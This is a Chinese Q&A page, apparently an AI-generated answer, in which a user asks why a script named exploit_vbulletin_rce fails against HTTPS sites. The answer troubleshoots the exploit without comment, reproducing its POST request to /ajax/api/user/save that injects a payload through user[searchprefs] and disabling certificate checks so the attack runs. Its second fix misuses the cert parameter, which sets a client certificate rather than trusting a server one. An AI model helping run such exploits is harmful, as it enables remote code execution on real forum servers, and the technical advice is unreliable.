下面的脚本请求https的网站会报错怎么解决import randomimport reimport requestsimport stringimport sysdef exploit_vbulletin_rceurl str command str proxy str = None - bool def random_stringlength return joinrand
这个脚本请求https的网站会报错,是因为默认情况下,Python的requests库不信任https的证书。可以通过以下两种方式解决这个问题:
- 忽略证书验证: 在session.post()方法中添加参数verify=False,即可忽略证书验证。修改代码如下:
response = session.post(
url + "/ajax/api/user/save",
{
"adminoptions": "",
"options": "",
"password": random_string(10),
"securitytoken": random_string(10),
"user[email]": "pown@pown.net",
"user[password]": "password",
"user[searchprefs]": payload,
"user[username]": random_string(10),
"userfield": "",
"userid": "0",
},
verify=False
)
- 添加证书: 将服务器的证书文件(.pem或.crt格式)下载到本地,然后在session.post()方法中添加参数cert='path/to/certificate.pem',指定证书文件的路径。修改代码如下:
response = session.post(
url + "/ajax/api/user/save",
{
"adminoptions": "",
"options": "",
"password": random_string(10),
"securitytoken": random_string(10),
"user[email]": "pown@pown.net",
"user[password]": "password",
"user[searchprefs]": payload,
"user[username]": random_string(10),
"userfield": "",
"userid": "0",
},
cert='path/to/certificate.pem'
)
其中,'path/to/certificate.pem'需要替换为证书文件的实际路径
原文地址: http://www.cveoy.top/t/topic/ikuI 著作权归作者所有。请勿转载和采集!